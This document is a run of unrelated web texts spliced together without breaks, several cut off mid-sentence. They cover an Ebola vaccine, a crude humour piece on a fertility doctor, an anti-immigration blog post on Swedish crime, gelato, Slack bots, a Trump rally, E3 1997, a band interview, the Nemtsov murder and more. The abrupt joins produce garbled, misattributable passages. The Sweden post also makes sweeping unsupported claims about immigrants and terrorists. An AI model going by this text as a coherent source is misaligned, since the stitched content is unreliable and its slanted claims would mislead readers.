“Wealth creation, tech innovation, risk taking – none of these things are associated with Latino identity,” says Rodriguez. “Yet not only are we here, but we are beginning to organize and we are starting an ecosystem,” explains Rodriguez, who
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the Zaire and Sudan strains of Ebola, as well as a related condition called Marburg disease. However, it is now also developing a vaccine targeting only the Zaire strain behind the current epidemic, which should yield results faster.
A nurse writes the name of voluteer Christof Hoffmanns on the forehead of his protection suite during an Ebola training session held by Germany's Red Cross in Wuerzburg October 21, 2014. REUTERS/Michaela Rehle
PROMISING SIGN
Although the safety and effectiveness of J&J’s and other experimental vaccines has yet to be proven, they have provided good protection against the Zaire strain of Ebola when tested on macaque monkeys, which is seen as a promising sign that they are likely to work in humans.
Like a number of experimental vaccines against various diseases, J&J’s vaccine uses a common cold virus, called an adenovirus, to carry its payload.
Immunization with the J&J vaccine, which was developed by its Crucell unit in the Netherlands, consists of two injections: one to prime the immune system and a second to boost the response. In contrast, researchers are testing a single shot of GSK’s vaccine.Millions of us are so terrified of or disinterested in having kids that we'll literally never do it. But the world's population keeps inflating like a balloon because there are plenty of people at the opposite end of that spectrum. Way, way at the opposite end.
6 The Fertility Doc With 75 Secret Kids
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Let's say that for reasons known only to the fertility gods, you and your spouse are unable to have children. After weighing your options, you determine that kidnapping a baby from a mall is too prosaic, so you go with the next best option: fertility treatments. You find a doctor who makes arrangements for artificial insemination. What in the name of heaven and earth could possibly go wrong?
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This guy, that's what. Your doctor is a madman, and his weapon is his own ejaculate.
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"You should probably just get the funnel."
The Crazy:
During the '70s and '80s, hundreds of infertile women came to see Dr. Cecil Jacobson, especially since his own eight kids demonstrated that he knew what he was doing, baby-making wise. What they didn't know was that instead of hooking couples up with the anonymous donors created in his fictional profiles, Dr. Jizzenstein yanked into a cup, then put his man milk in his patients' lady parts. Again. And again. And again. Even when it was supposed to be the husband's sperm. But, hell, why would you want some dude's inferior genes when you could have your baby grow up to look like this:Loading...
As pointed out many, many, many times, the Swedish immigration policy does not only affect Sweden. It may eventually affect all of Europe, as Swedish citizens are free to travel wherever they like, whatever background they have. Your next Swedish neighbour, or 'tourist,' is therefore not necessarily named Göran and eats surströmming, but he has a Swedish passport. And that should worry you, considering the terrible job the Swedish Migration Board does when checking who they let stay. And if it is a verified actual ISIS terrorist, he is not put in jail, but offered job, housing and help. Help!So, as predicted long ago, that the increasing crime in Sweden would eventually run over the borders, is now about to happen. It was inevitable.Police in western Sweden have a tough fight against what is described as criminal networks who have settled in small towns. Now their Norwegian colleagues prepare to prevent the criminals from crossing the border, reports Expressen - The criminals do not care about borders. We are aware of it, says Monica Anstensen, sheriff in the Norwegian border municipality of Aremark.According to police, a network of up to 50 people has settled in small communities in Dalsland and Värmland, and parts of the network are suspected of committing crimes.But while a burglary wave has swept across several of the western Swedish municipalities, the situation is so far different for the neighbors in Norway.- I know how it is in Sweden, but we have not seen it here. Not to that extent, said sheriff Monica Anstensen.She works in Aremark, a municipality with about 1,400 inhabitants, bordering the Swedish Dals-Ed in the east.- Here in Aremark there are not many properties, but in Norway there are also more police officers along the border than in Sweden. Today we have a police office in each municipality, so we are many police officers along the border, says Monica Anstensen.The sheriff explains that the Norwegian police is aware that the burglary networks that have settled in western Sweden currently, in the future may also strike against them.To avoid that from happening, there is an ongoing cooperation with the police in Sweden.- It is the Swedish police who contacted us, and we have had a meeting and joined a big police action in Sweden two weeks ago. We have e-mail communication and are talking with each other. We cooperate with the Swedish police and customs, and hope that we can continue to do so. For the criminals do not care about borders, says Monica Anstensen.How do you intend to avoid that the criminals do not move to Norway?- We have prepared ourselves as much as we can. We try to learn from what they have learned on the Swedish side and we have previously had some of the most active on the Swedish side here. We cooperate with the Norwegian customs on the border. We pay attention to it.At the same time, just as was the case in Sweden, there are changes in Norway's police organization. One of the consequences is that the police station in Aremark will be closed down, according to Halden Arbeiderblad.Comment below.Whether it is a hot summer day or the holiday season, ice cream and gelato are well-loved frozen desserts enjoyed by people of any age (although some consider gelato to be the "grown-up" version of ice cream). The two look and taste similar, but are they actually the same? Taking into account gelato is the Italian word for ice cream, you would think so, but there are actually a few differences between the two.
From the ratio of milk to cream, to how the mixture is churned, to the flavors and textures, there are specific distinctions between ice cream and gelato.
The Ingredients
Two of the main ingredients in both ice cream and gelato are milk and cream, but it is the amount of each that results in differing desserts. As the name implies, "ice cream" contains more cream than milk, whereas gelato is made with a greater proportion of whole milk to cream. Another ingredient that distinguishes the two is eggs; ice cream includes egg yolks while gelato is (most often) completely void of eggs.
These differing measurements and ingredients affect the amount of fat in each dessert, as well as the mouthfeel (the texture of the food in your mouth as you eat it). Legally, ice cream has to have a minimum of 10 percent fat; gelato contains only 5 to 7 percent fat.
The Process
It is not just the ingredients that separate the two, it is also the way that each is made. Ice cream and gelato must be churned to create that creamy, scoopable goodness, but it is the speed at which they are churned—and the resulting amount of air incorporated—that is different. Gelato is churned at a slower speed than ice cream, which creates a denser consistency since less air is whipped into the mixture. Gelato contains about 25 to 30 percent air, while ice cream can contain as much as 50 percent air.
Once the ice cream and gelato are made, they are stored at certain temperatures to maintain the right consistency. Ice cream is typically served frozen, around 0 F, whereas gelato is typically stored and served at a slightly warmer temperature, around 15 F. This means gelato is not quite completely frozen, making the texture softer and silkier than ice cream.
The Flavor and Texture
Stop into any ice cream parlor or peak inside the case at the supermarket, and you will witness the expansive array of flavors, from traditional vanilla and coffee ice creams to somewhat unusual flavors such as sweet basil and sweet potato. But when it comes to gelato, the flavor profile is much more narrow. There are a few classics you'll find in gelato form—vanilla, chocolate, hazelnut, and stracciatella (vanilla with crunchy chocolate pieces), as well as pistachio, tiramisu, and a variety of fruit flavors—but not necessarily the type of combinations you see in the ice cream aisle.
The differences in both treats' compositions and the way they are stored affect the way they taste and feel in your mouth. Fat coats the tongue, creating a layer between the taste buds and the food you are eating, and colder food numbs the tongue a bit, making it more difficult to actually taste the food. Since gelato has less fat and is warmer than ice cream, the flavors come through more and are more intense. These factors also make for a smoother consistency whereas ice cream has more of a fine crystal texture.12 Slack Bots to Superpower Your Team
Artyom Keydunov Blocked Unblock Follow Following Mar 15, 2016
With the continuous growth of Slack platform, come the numerous apps that help teams to optimize their work. Here are 12 bots for Slack to superpower your team:
Any conversation about analytics and user behavior requires exporting data from related data services. Moreover, it is often required the living presence of several people in front of one screen. Statsbot will change your notion of team work with analytics tools. Bot integrates with Google Analytics, New Relic, Mixpanel and sends different metrics right into your Slack. Statsbot is one of the most popular bots in Slack. More than 5000 teams have already installed this bot.
A very useful tool which allows to see what your whole team has been working on in one neatly organized place. Nikabot asks team members what they do, and then on the basis of retrieved data it builds informative and interactive reports of how things are going. It costs only 1$ per month.
When each team member knows about the working status of each other, productivity soars. The time has come to say goodbye to the old reporting system. Roundtable detects “create” keyword and allows to make collective todo list with easy. Also, the bot automatically checks for status of tasks, which allows all the staff know what’s going on and who needs help.
Are you afraid to miss the most significant details of the conversation? Atomic Kit will not allow you to lose important messages for your team. This bot aggregates all starred messages, and the messages will be sent in the next scheduled email. Everyone in your Slack community will receive the email digest, unless they have selectively unsubscribed from the emails.
Meekan is a great scheduling robot which helps to organize corporate meetings and plans. When building a working calendar within the team, Meekan keeps in mind a to-do list of each employee and their time zones. The bot also makes it easy to reorganize the list of cases, taking into account the wishes of each. Rescheduling? No problem. Conflicts? Sorted out in seconds. Just checking your calendar in Slack? No need to switch apps.
Have you ever thought about the security of incoming information in your Slack channels?
Greet the first antivirus for corporate chat — Dbot. This bot protects Slack users by monitoring communications in the background and warning them about malicious and harmful content in real time. DBOT saves time and effort by delivering threat feed reputation for IP, URL and Files from multiple sources right within Slack.
Workbot for Slack actually allows you to do work in your cloud apps from Slack, not just pull information in (though it does this too!). Add a subscriber to a campaign in MailChimp, update a lead in SalesForce, create a new ticket in Github or Jira, and more without ever leaving Slack. This bot understands context, which means you’ll be prompted with intuitive next steps across apps.
For example, if Workbot notifies you of a new ticket in Zendesk marked high priority, it will ask you if you want to see more information about that customer. If you say yes, it will pull the customer profile from SalesForce into Slack. If you want to add a new note to the customer’s profile, you can do so right in the chat. The ability to give smart notifications and get work done across your cloud apps within Slack, makes Workbot a powerful business tool.
It’s a known fact that most engaging products are delivered by teams that stay close to their users. Relay will help you with it. The bot monitors the user activity in your app and notifies about various events in respective channels in Slack. Relay works on the basis of analytical platform Segment.com
The keystone of high productivity of each member of your team is their motivation. Also, equally important is understanding the results of their work. And it’s good when in these processes there are elements of gamification. So Growbot defines words (prop, kudos, etc.) and assigns points to the person to whom they relate.
Safelink introduces an additional level of security for the most important information. Bot uploads your message or file on Amazon’s SSE-S3 over latest TLS with AES_256_CBC encryption and HMAC-SHA1 for message authentication and ECDHE_RSA as the key exchange mechanism. Receiver must get phone number PIN verification for identity authentication.
This is the kindest bot ever. Using Leo is the most powerful way to measure and improve employees’ satisfaction, without ever leaving Slack. Leo creates different anonymous polls: “How would you rate your relations with your colleagues in general?”, “Do you clearly understand your day-to-day responsibilities?”, “You happiness at work is…”.
Neat and handy task manager directly in your Slack. Ace is enabled with multiple features that help you check items off your list. Also, bot can create and run polls with your team members. For adding a task, you just need to type “todo” for yourself and “todo + @username” to delegate to someone.
YOU’D ALSO LIKE:Lee Tilghman, left, and Anna Foultz wait toward the front of the line to see Trump at Stephen Decatur High School. (Photo: Emily Chappell/Delmarva Media Group)
Chants of “Trump,” “USA” and “build that wall” rang out throughout a high school gym as Republican front-runner Donald Trump addressed residents of the Eastern Shore on Wednesday.
Trump took the stage at about 7:30 p.m. as music blared and people cheered. Much of the speech was met with shouts and whistles of support.
By the time he spoke, people had been waiting for hours to see the man who promised he will “take back this country.”
A sea of red hats and white lettering – that read “Make America Great Again” – surrounded Stephen Decatur High School near Berlin, Maryland, all throughout the afternoon, even before school let out for the day.
Doors, while originally set to open around 4 p.m., didn’t open until closer to 4:30 p.m. or 5 p.m. after law enforcement swept the building. But that didn’t stop Trump supporters from lining up.
Toward the front of the line were Lee Tilghman and Anna Foultz, both decked out in red, white and blue apparel. The women, of Ocean Pines, Maryland, were excited to see Trump speak.
“This is my dream. I always wanted to meet him,” Foultz said.
The 90-year-old woman said she brought two boxes of Girl Scout cookies in the hopes of giving them to Trump.
“I’ve admired him all my life,” she added.
Another front-of-the-line supporter was Donna Moulton, of Ocean City.
She chuckled when asked about her placement in line. She’s “lucky” she managed to get up front, Moulton added.
Tanya Knott, of Berlin, Maryland, said this was her very first Trump rally, something she was “excited” about.
Not a lot of candidates come out to areas like Maryland’s Eastern Shore, she said, so his visit was something she definitely had to see.
Knott, one of the owners of Whisker’s Bar & Grill, came out Wednesday with friends and co-workers.
She was happy to support Trump because he thinks “outside the box.” Being a small-business owner, that’s important.
“I’m tired of the same old same old,” she added.
Not everyone who came to see the Republican front-runner were local, though.
Ed Lewis, of White Marsh, Maryland, made the trip down to the Eastern Shore for his very first Trump rally.
“I wanted to come down and see the man who’s going to change this country,” Lewis said.
Trump protesters and supporters surrounded school property throughout the afternoon. A large police force was present, with law enforcement agencies from Berlin, Ocean City, Worcester County and more on the grounds.
In the afternoon, Lt. Andy McGee of the Worcester County Sheriff’s Office said so far, things had been going well.
“So far, so good,” McGee said.
Trump supporter Robert Willis said he and the protesters both had a right to be there. But he wasn’t concerned about them, though.
Instead, Willis, of Ocean Pines, said he was very excited about the presidential candidate’s visit. He thinks Trump would be good for the area.
“I thought it was oddly amazing” that Trump chose the Eastern Shore for a trip, he said. “I think Trump’s great and I want him to be president.”
Among the many Trump supporters, several wearing the now-famous red hat, others with buttons pinned on and some holding signs and flags, were people making a buck or two off the hype.
Richard Kienzle, of Tennessee, was one of those people making a profit. He was there selling shirts in the grass across the street from the school. Even hours before Trump arrived and before the massive lines emerged, a group was consistently around his table.
But for Kienzle, it’s not just about the sale. While he tries to hit all the rallies around the country to sell his merchandise, he’s also there to support the Republican candidate.
“I believe in Trump,” he said. “I like the way he communicates.”
Contact Emily Chappell @EmilyChappell13.
Read or Share this story: http://delonline.us/1SuGgztLaura Robson's ranking has plummeted to 555 in the world
Laura Robson has decided not to use her protected ranking of 58 to gain direct entry into January's Australian Open.
The 21-year-old has played in eight events since a 17-month lay-off with wrist problems, including the US Open.
However, playing in New York - where she lost in the first round to Elena Vesnina - means the world number 555 can only use the protected ranking to enter one more Grand Slam.
She may now instead opt to wait for the French Open.
In the meantime, Robson is likely to try and build up her ranking at smaller events.
Four other Britons - Andy Murray, Aljaz Bedene, Johanna Konta and Heather Watson - all gain direct entry into the draw in Melbourne.
Kyle Edmund is currently the third alternate for the men's singles, meaning he stands a good chance of avoiding the qualifying competition.Did you know there’s quite a lot of amazing Catholic books, tools and more that are waiting for you to order them at either no cost or for a very small shipping fee or donation? These are amazing tools that just might be what you need to light the spark in your faith if it’s started to dim or to make it burn even brighter.
I’ve stumbled across many of these over the last few years and here are some of my absolute favorites. Go order them for yourselves right now!
1) Rediscovering Catholicism – Matthew Kelly and his DynamicCatholic.com organization offer tons of free books and resources on their website. But my favorite is his original book on Catholicism, Rediscovering Catholicism. This is what helped me early on understand Catholicism and its relevance in light of our society today. EVERYONE should read this book. It will bring your faith to life for you! Order here + $5.95 shipping & handling.
2) The Rosary and Divine Chaplet on CD – The easiest way to start praying the rosary is to order this CD and stick it in your car. Pray whenever you have quiet drive time. If you don’t yet know how to pray the rosary, this is the easiest way to learn. They pray it for you and you can either just listen to them or repeat back as you begin to learn the prayers. Order it here for just a $1 donation. Here are more ideas for fitting the rosary into your busy day.
3) Total Consecration to Jesus Through Mary materials – Read my blog on Total Consecration (a process I highly recommend) and if you decide you feel called to make this commitment to Mary, order free materials to help you through process from MyConsecration.org. This practice, made popular by St. Louis de Monfort and Pope John Paul II, can be completed in several ways. If you’re interested in the more classic, prayer-filled preparation from St. Louis de Monfort, order those materials free here. If you’re interested in a more modern interpretation and requires less time, order 33 Days to Morning Glory by Fr. Michael Gaitley for free.
4) Flame of Love – Similar to St. Faustina’s visions of Jesus and subsequent diary, Flame of Love written by Elizabeth Kindelmann shares messages she says she received between 1961 and 1982 from both Jesus and Marty. They are similar to those of St. Faustina and other approved Marian messages around the world. Order your free copy of her book. At the National Congress of The Flame of Love of the Immaculate Heart of Mary movement in Budapest, Hungary, June 6, 2009, Cardinal Peter Erdo, Archbishop President of Esztergom-Budapest, Hungary and President, Council of Episcopal Conferences in Europe, gave the text his Imprimatur.
5) Mass Journal – Another great free tool offered by DynamicCatholic.com is a mass journal. Bring this notebook with you to mass and write down any messages from God or thoughts that occur to you during mass, so you don’t forget. Order here + $5.95 shipping & handling.
6) The Conversion of Scott Hahn CD – I recently heard a fellow parishoner, who was a lifelong Protestant, mention this CD as key to her understanding and ultimate conversion to Catholicism. Hahn is a wonderful writer who helps explain the Catholic faith in his many books. He is a former Protestant minister turned Catholic convert. Order for just a $1 donation.
7) St. Therese Novena Prayer Card – Many Catholics have a devotion to the “Little Flower,” St. Therese of Lisieux (my confirmation saint, whom I adore). It is said if you pray her novena for a specific intention, she will send you a sign in the form of a rose. I’ve received my rose (read about my signs from St. Therese)! See if you get yours. Simply order this free St. Therese Novena Prayer Card from the Society of the Little Flower. You can also order prayer cards, even ones touched to a relic, for $.55 or less.
8) Prayer Process Cards – This is a wonderful exercise suggested by Matthew Kelly that you strive to complete daily. It encourages you to prayerfully consider your day from what messages God was speaking to you to what you could have done better to thanking God and praying for others. These cards are a simple reminder of the process to keep by your bedside, on your side table, in your prayer area or wherever. They send 20 at a time with $5.95 shipping & handling, so share with your friends!The 3rd Electronics Entertainment Expo took place between June 19-21, 1997 in the Georgia Dome in Atlanta, Georgia.
The show featured 1,500 new titles from 500 exhibitors on a record 534,000 square feet area (the size of 35 football fields). There were six game conferences covering some of the big issues of the day, including trends in online gaming and the future of development.
While the genre hadn't caught hold on consoles yet, at the time, PC FPS were all the rage -- although they were commonly called "Doom clones." Half-Life, Unreal, SiN, Daikatana, Prey, Quake II, and Star Wars: Jedi Knight Dark Forces II all made their debut at E3 1997. But the biggest surprise in the genre emerged as GoldenEye 007. Already a game watched closely by the press, the demos convinced everyone in attendance that Rare was creating something special. Compared directly with the stars of the time, namely Doom, Duke Nukem, and Quake, GoldenEye's four-player split-screen had showgoers hooked.
Metal Gear Solid for PlayStation made a big splash on Day 2 of E3, being shown in non-playable form as a video loop at Konami's booth. Duke Nukem Forever was also announced, with the tagline: "Always Bet on Duke." The game would take more than a decade to actually get to market.
All eyes were on Nintendo to showcase how it would improve its sparse games library for the Nintendo 64. Instead of pushing internally-developed software, Nintendo focused on its US and UK-developed lineup. Rare was well-represented with GoldenEye 007, Conker's Quest (a very different game from what eventually became Conker's Bad Fur Day), and Banjo-Kazooie. Hopes were high for an official 64DD US announcement from Nintendo, but chairman Howard Lincoln told press attendees that although the hardware was ready, software was not. "When we get that exactly right, we'll introduce the 64 Disk Drive," Lincoln said to IGN, referring to the software.
Notorious no-shows at E3 1997 included Nintendo's Zelda game (then, a 64DD title -- later to become Ocarina of Time) and the later cancelled Robotech: Crystal Dreams. Instead, Superman 64 debuted to a tepid reception.
SEGA had a big booth at the show, but the company's representatives looked awfully subdued. Word had it that SEGA was pulling all of its advertising.
One company that was not subdued at E3 1997 was 3Dfx. 3Dfx came out swinging that year. Nearly every PC game worth looking at on the show floor had a "Powered by 3Dfx" sign. Even a few arcade games, Mace comes to mind, had 3Dfx signs on them.
Another company at the top of the world was Eidos. Lara Croft was everywhere. This was the year of Tomb Raider II -- Lara Croft was bigger than Mario and Sonic combined. (No pun intended.) Eidos had a Lara Croft look-alike. A huge contingent of show attendees stood by the booth for long stretches of time just to get a look at some model in a green tank top, black shorts, and sunglasses.
There was a small pornography area for the first few years of E3. By 1997, that small area went away. Interestingly, the disappearance of real sexploitation from the show opened the way for a more innocent style of sexploitation.
A Duke Nukem look-alike walked the show floor with two nubile models. Pandemic sent around a sweet young thing in a pristine nurse's outfit passing out invitations to their booth. Upon closer examination, the invitations contained condoms.
Atlanta's convention center was not a good place for E3. The floor space was bigger and less expensive, but badly laid out for the show. Instead of having three square floors it had two endless rectangles. You could get from end-to-end in Los Angeles in 10 hectic minutes. Atlanta took twice as long.
Despite disappointment that the show failed to yield "A Main Event," there was general optimism at the number of high quality and original games coming later this year. Following the show, industry analysts predicted strong growth for third parties like Activision, GT Interactive, Electronic Arts, and Midway.
Major Announcements [ edit ]
Duke Nukem Forever
Fallout
Half-Life
Metal Gear Solid
N64 Modem
Panzer Dragoon Saga
PlayStation Double Analog Controller
Quake II
Sonic 3D Blast for PC
Notable Games [ edit ]
Banjo-Kazooie
Conker's Quest
Final Fantasy VII
F-Zero 64
GoldenEye 007
Half-Life
Metal Gear Solid
Oddworld
Panzer Dragoon Saga
Prey
Quake II
Resident Evil 2
Star Fox 64
Tetrisphere 64
Time Crisis
Unreal
Trivia [ edit ]
Some of IGN's video equipment was stolen in Atlanta. The loot included a camera with footage of Metal Gear Solid.
Was this guide helpful? YES NOwhy do little girls like princess stuff so much?
There’s been lots of handwringing — most of it entirely justified — over the bad messages little girls get from the princess crap they all seem to love so much. Pinkness! Glitter! Chiffon! Ugh! But why do little girls embrace that? There hasn’t been much discussion about this conundrum, as far as I can see.
Let’s posit a few things. One, little girls (like little boys) are not stupid. Two, little girls (like little boys) have active imaginations. Three, little girls (like little boys) are paying closer attention than we might think they are, and are heeding the lessons we grownups are passing down to them.
And what are those lessons? Well, a few big ones can be gleaned from kids’ movies. Kids’ movies are almost always good for huge box office, meaning that lots of kids are going to see them, even when the characters they’re about can be seen on TV every day. The SpongeBob Movie: Sponge Out of Water just opened to megamillions in North America; it hasn’t opened in the U.K. yet because (most likely) it needed to stay out of the way of the current No. 1 at the U.K. box office, Big Hero 6, which only just opened last week, and the other big kiddie flick that opened on Friday, Shaun the Sheep Movie, No. 3 at this past weekend’s box office (and also based on a TV show).
So, all the millions of kids who went to see these three movies over this past weekend, what did they learn? A major lesson is this: Who gets to be the hero of their own stories? A boy sponge. A boy sheep. And a boy human. No matter how cool girls might be — and there are some cool girls in Big Hero 6, at least — they have to stand aside and let the boys be the center of attention. Girls can help boys be heroes, but girls don’t get to be heroes themselves.
And if we look at the all-time top G-rated movies, we see that what kids have learned from the movies aimed at them over the past 25 years or so is this: Heroes can be lions, toys, fish, monsters, cars, and robots… as long as they’re boy lions, toys, fish, monsters, cars, and robots. Heroes can be rats, bugs, elephants, dogs, and birds… as long as they’re boy rats, bugs, elephants, dogs, and birds. Heroes can even be human boys once in a while! Who are the girls who get their own stories about their own lives? Beauty (of and the Beast fame) and Pocahontas.
What about the all-time top PG-rated films? If you want to be a hero, you can be a boy Jedi knight, a boy ogre, a boy supervillain, or a boy wizard. Oh, you’re a girl? You can be a Disney princess. Or Alice in Wonderland… who is an unofficial Disney princess, anyway.
Sure, girls can — and plenty girls do — appropriate the boy heroes for themselves, imagine themselves as Jedi knights or wizards in their own adventures. But they shouldn’t have to. Boys don’t have to do that. Boys go to the movies and they see people who look or sound like them having adventures and doing exciting things and maybe even saving the day (or the world!). Girls go to the movies and they either see people who look or sound like them helping boys… or once in a rare while, they see a girl or a woman at the center of her own story with people — sometimes boys! — supporting and helping her in her adventure.
And it just so happens that all of those girls and women are princesses. All. Of. Them.
This is what movies tell little girls: If you want to be the hero of your own story, the star of your own life, you have to be a princess. Only princesses get that option.
(And thanks so much to Jupiter Ascending for reinforcing the Hollywood contention that the only women worth telling stories about are princesses. And it’s not even a kiddie flick!)
Is it any wonder that little girls embrace the princess? We’ve told them that the only way they can be fierce and powerful and in charge is if they’re a princess!
Little girls are not stupid. They’ve heard what we grownups are saying. And they are telling us in reply: “I am powerful. I am in charge. I am the hero of my own life. So I guess that makes me a princess.”Maybe it’s their beards or their bottomless catalog of music, but EVERY TIME I DIE continue to be a band that seems possessed. 2012’s Ex Lives was the kind of record that could gracefully drop the hatchet on a bloodied, road-tested career but the Buffalo fivesome pressed on – disregarding bruises, doubts, and a limited schedule to pummel out new ideas. Eventually, a trip to Kurt Ballou’s GodCity Studios in Salem, MA, bred those ideas into a full-length – their seventh and third for Epitaph – and one that moves like a violent revolt. For instance, if Ex Lives and New Junk Aesthetic were figurative riots in relation to late 2000s’ hardcore, then From Parts Unknown is a violent bloodbath.
To do our journalistic duty, we reconnected with vocalist Keith Buckley to assess their upcoming record and touch on everything from their intentions to unusual collaborations to HBO’s “Game Of Thrones”. The following is a long read and one that doesn’t give away the entire album to preserve the experience of a “first listen”, but rest assured, From Parts Unknown will floor you. Fan or not, you’ll be on your hands and knees looking for a few loose teeth.
I’ve read a few recent articles where you describe your new music as hopeful and you’re even quoted as saying you didn’t realize you had such a positive outlook. Is that compared to the past or just in general? Because some of the lyrics seem a little bit dark to me.
I know it seems a little dark, but overall it ends on a high note. At least it did for me with the writing process and maybe not the sequencing of the songs on the record. I feel like with the last album, everyone said “Oh, he’s going through this dark period”, but there was a lot of stuff going on at home and internally with the band, and I pretty much felt like I had lost it. I felt really purposeless. I think that – as weird as it sounds – realizing I had lost focus of my purpose gave me a new purpose and it set me in a different direction to find out what the hell I was doing with my life at this point. It’s been a lot of soul-searching, which is a lifelong process, and I’ve only just begun.
But overall I’m very excited for this record and this touring schedule because it’s not something that we’re just putting out because it’s time to put something out. I’m actually really excited for it.
Is that renewed energy a result of your successful soul-searching?
I don’t know… I think I just feel like I have more intentions with this record. I think there’s really a lot of things I hope to do with it and I hope to see it take us to different parts of the world where we’ve never been before, and that’s already shaping up. I feel closer to these lyrics than I ever have and I think there’s a connection there between the me that wrote it and the me that will be doing it every night – as opposed to just going into this muscle memory auto-pilot thing where I let the years of experience take over. I feel like I now know how to be an active participant in my own life and putting that into a show will be something new and exciting for me. Not that I’ve always done that, but towards the end of the last cycle I started feeling like I needed to stop and I couldn’t tour anymore.
Your writing has always seemed reflective, especially in a song such as “Overstayer”. Is it difficult to balance your creative thoughts with your own personal experiences?
No. I think I used to. I really felt there was a struggle between the two of them, but now it’s a more harmonious relationship. I think being honest about where I’m at helps me to be creative. I used to think I couldn’t really write unless I was drunk and I had to do this and go out and make all this shit happen, or else I’d have nothing to write about at all. I was constantly pursuing some sort of fulfillment and once I stepped back from that and focused a little more on going inward instead of outward, that actually broadened the net for ideas. It’s been surprising.
You’ve also said before the band makes a conscious effort to avoid being repetitive. How do you determine the best way to change things up while maintaining your identity?
I don’t think we even go through a process of how to change things up. We don’t exist in a vacuum, so I think it would be surprising to us if anybody came to the table with some sort of familiar riff or idea. I think everything that happens is worth keeping ourselves open to and it’s way more than enough to give us that push we need to outdo our last record and outdo our last show. I think that this band is functioning like an organism now – where we’re all just parts of this bigger body that works together – and if someone comes with an idea or a mood for a song, it doesn’t even need to be explained. It’s this telepathic understanding we have for exactly what we want out of a song when we start writing. It’s pretty cool. It’s definitely something I’m grateful for and there’s no formula for it.
You just need to find the right people at the right time and do it long enough. We are lucky enough to have done that. There’s a lot of moving parts in a band, but eventually things start working together instead of against each other and then the machine starts being a lot more productive.
So what happens when you bring in collaborators
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happens online, it is not taken as seriously.)
The choices are limited: Keep your account open regardless of how ugly commentary gets, and hope blocking keeps the worst of it out of sight; make your account private, accessible only to approved users; or leave altogether.
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Were this in person, the choices would be equivalent to withstanding harassment simply for being outside; limiting time outside while never speaking to strangers; or never going outside at all. In future cases, it seems it will only matter that the accuser asked for non-contact if they privatize or delete their accounts, and either option results in a degree of silencing the victim.
For people whose economic livelihoods depend on being online; or whose primary support networks exist on the very same platforms that make it easier for others to be cruel to or harass them, doing so can be an impossible decision. For everyone, this means constantly hiding and regulating in order to speak our truths.
When we accept online harassment as an inevitable reality, we also accept that asking for better is unreasonable. There is no room to call for empathy or integrity: only free speech and what is and isn't punishable by law.
Online harassment is common for a reason: it's easy and usually consequence-free. For now, the only way to avoid it is to either accept it as a part of public life, try to ignore fear, and become complacent; or return to the days of pseudonyms and locked accounts.Kadyrov wrote on his Instagram account on Sunday that Dadaev, a former deputy commander for the Chechen police, was shocked by the Charlie Hebdo cartoons of the Prophet Mohammad.
"All who know Zaur confirm that he is a deep believer and also that he, like all Muslims, was shocked by the activities of Charlie and comments in support of printing the cartoons," Kadyrov said.
Russian investigators said last week that they were looking into the possibility that Islamist militants had assassinated Nemtsov over his defense of satirical cartoons in the French magazine Charlie Hebdo.
Confession
Earlier on Sunday, Dadaev acknowledged his involvement in the fatal shooting of Kremlin critic. A second suspect, Anzor Gubashev, was also charged with organizing and carrying out the murder on February 27.
A former deputy prime minister of Russia and prominent critic of Russian President Vladimir Putin, Nemtsov died after he was shot in the back four times within sight of the Kremlin. The only witness was Nemtsov's girlfriend, Ukrainian model Anna Duritskaya.
'Provocation'
Dadaev and Gubashev were two of five suspects in the case who were marched to a Moscow court on Sunday. Gubashev's younger brother Shagid and two men identified as Ramzan Bakhayev and Tamerlan Eskerkhanov are also being held in police custody awaiting charges.
All five men are from the volatile northern Caucasus region where Russia has fought two devastating wars against Chechen rebels. Security forces there have continued to clash with Islamist insurgents.
Putin denounced the death of his high-profile critic as a tragedy and a "provocation" and promised to personally oversee an investigation into the incident.
Since he came to power in 2000, a number of prominent opposition figures have been murdered, including journalist Anna Politkovskaya and activist Natalya Estemirova.
ksb/sms (Reuters, AFP, AP, dpa)Dallas County Commissioners decided Tuesday to invest millions of more tax dollars into an organization that has failed to deliver what it promised on time.
FOX4 first reported about two years ago on problems with TechShare Courts, a computer system Dallas County was trying to build from the ground up. Now the county has approved TechShare to develop the county's jail software.
Dallas County judges were supposed to have a new software program a year ago. The one they use now has been in use since the 1980's.
County Commissioner Dr. Elba Garcia has heard the complaints and now does not understand why the county would want to expand the software development program to the county's jail.
"We have been working with TechShare for 6 years. $26 million project. We are 1 year late. Only 1.2 million left,” Garcia said.
Garcia argued that off the shelf software would cost $3-5 million compared with TechShare's pricetag of $11 to 13 million.
"From the business standpoint, this just does not make sense,” Garcia said.
The theory of TechShare, the brainchild of County Commissioner Mike Cantrell, is that it would save the county money because the county would own its own software code. They could then take that code and sell it to counties around the country.
"The whole basis of TechShare is it is silly to reinvent the same wheel 254 times,” said John Dahill, Texas Conference of Urban Counties.
But the problem is only two counties have bought in: Dallas and Tarrant.
"You've had limited return on investment,” said Charles Gray, Texas Conference of Urban Counties.
The TCUC, the non-profit developing the software, admitted Tuesday it’s have problems.
"It's hard for us to close a deal outside of Texas,” Gray said. “They look at who we are, a small non-profit organization. They think can they really support us?"— If anything is clear through two days of the Under Armor Association stop here at Basketball City, it’s thatand his Sports U teammates are going to draw huge crowds all spring and summer. Quinerly is in the conversation for the best point guard in the Class of 2018 and he’s looking to cut his list in the coming weeks. “I’ll probably cut my list pretty soon,” the Hudson Catholic floor general said Saturday. “Within the next month and a half.” He remains uncertain what he’ll cut it to, but said “5-7, something like that.”Duke, Arizona, Kansas, Villanova, Virginia, Maryland, Seton Hall, Notre Dame, Stanford and Cal are among the schools involved, and all but Duke have offered. Villanova’s, Virginia’sMaryland’sand Seton Hall’sare among the head coaches to see him this weekend, while Duke’sArizona’s, Kansas’and Cal’sare among the assistants.As for Duke, “They’re trying to evaluate me this first session, just see how I’m playing, get to know me better” he said. “[An offer] would mean a lot. I grew up looking up to] so knowing that I could follow in his footsteps that would be amazing.” Villanova is also heavily involved. “[Wright] called me before the game [Friday],” Quinerly said. “He called me and told me that he’s front and center, showing that I’m a priority for him.” Kansas’ Roberts sat courtside Saturday and loves Quinerly. “The head coach [is going to check me out in Indiana,” he said. “But Roberts told me to keep playing, he loves my game. He just said he’ll be at every game watching me and Bill Self will be at the next session.” Arizona’s Richardson also loves Quinerly’s poise and demeanor. “I saw Book [Friday] night, we’ve been texting back and forth for a minute,” he said. “I’m supposed to be visiting soon. I’m not sure, it got rescheduled. But the same thing, they’re making me a priority. They want their point guard to be from Jersey.” Virginia’s Bennett was courtside for two games so far. “I love that coaching staff,” Quinerly said. “I’m close with all of them. We talk almost every other day. They play a slower style but I can also play slow. I think I’m best at a faster pace, 